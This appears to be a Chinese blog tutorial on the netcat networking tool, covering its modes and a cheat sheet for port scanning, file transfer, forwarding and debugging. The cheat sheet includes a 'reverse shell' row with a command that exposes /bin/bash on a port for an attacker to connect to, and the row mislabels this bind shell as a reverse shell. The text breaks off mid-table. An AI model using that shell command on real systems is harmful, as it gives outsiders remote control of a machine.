文章目录
Netcat(nc)工具使用
文档配合DeepSheek或ChaiAPI使用
概述
Netcat(简称 nc)是一个功能强大的 命令行网络工具,被称为 “网络瑞士军刀”,支持 TCP/UDP 协议,可用于 端口扫描、数据传输、端口监听、代理转发、反弹 Shell 等多种用途。几乎所有 Linux 发行版都支持,是网络管理员、渗透测试人员和开发者的必备工具。
基本工作原理
网络套接字操作:
-
NC 在底层使用操作系统的套接字(Socket)API
-
可以创建 TCP 或 UDP 连接
-
既可以作为客户端发起连接,也可以作为服务器监听端口
数据传输:
-
建立连接后,NC 在标准输入/输出和网络连接之间建立双向通道
-
数据从标准输入流向网络连接,同时从网络连接流向标准输出
主要工作模式
客户端模式:
nc [host] [port]
-
主动连接到指定主机和端口
-
之后所有键盘输入都会发送到远程主机
-
远程主机的响应会显示在终端上
服务器模式:
nc -l -p [port]
-
监听指定端口等待连接
-
接受连接后,功能与客户端模式类似
主要功能指令速查表
| 功能 | 说明 | 代码示例 |
|---|---|---|
| 端口扫描 | 检测目标主机的开放端口(类似 nmap) | nc -zv 192.168.1.1 80-443此命令扫描目标 IP 地址(192.168.1.1)上的端口 80 到 443,检查是否开放。 |
| TCP/UDP 连接 | 作为客户端连接远程服务(如 HTTP、SSH、MySQL) | nc 192.168.1.1 80此命令尝试连接目标主机 192.168.1.1 上的端口 80(通常用于 HTTP)。 对于 UDP: nc -u 192.168.1.1 53(连接到 DNS)。 |
| 端口监听 | 作为服务端监听端口,接收数据 | nc -l 8080此命令在本地主机上打开端口 8080,等待客户端连接并接收数据。 |
| 文件传输 | 在两台机器之间传输文件(类似 scp,但不加密) | 发送文件:nc 192.168.1.2 12345 < file.txt接收文件: nc -l 12345 > file.txt此命令将 file.txt 从发送方传输到接收方。 |
| 反弹 Shell | 建立远程控制连接(渗透测试常用) | 目标机器上:nc -lvp 4444 -e /bin/bash攻击者机器上: nc 192.168.1.2 4444这会建立一个反向 shell 连接,让攻击者可以控制目标机器的 shell。 |
| 端口转发 | 将流量从一个端口转发到另一个端口(类似 socat) | nc -l 8080 | nc 192.168.1.1 80 此命令将本地端口 8080 的流量转发到目标主机 192.168.1.1 上的 80 端口。 |
| 网络调试 | 测试网络服务、手动发送 HTTP/MySQL 等协议数据 | HTTP 请求:echo -ne "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc 192.168.1.1 80此命令手动发送 HTTP 请求到目标 IP 地址上的 80 端口。 MySQL 请求:`echo -e “SHOW DATABASES;” |
常用参数说明
| 参数 | 说明 | 示例 |
|---|---|---|
-l |
监听模式(服务端) | nc -l -p 8080 |
-p |
指定监听/连接的端口 | nc -l -p 1234 |
-v |
显示详细输出(verbose) | nc -v example.com 80 |
-z |
端口 |

工具使用&spm=1001.2101.3001.5002&articleId=147150259&d=1&t=3&u=1f0f601243a448409b7854dfbee76f49)
1万+

被折叠的 条评论
为什么被折叠?



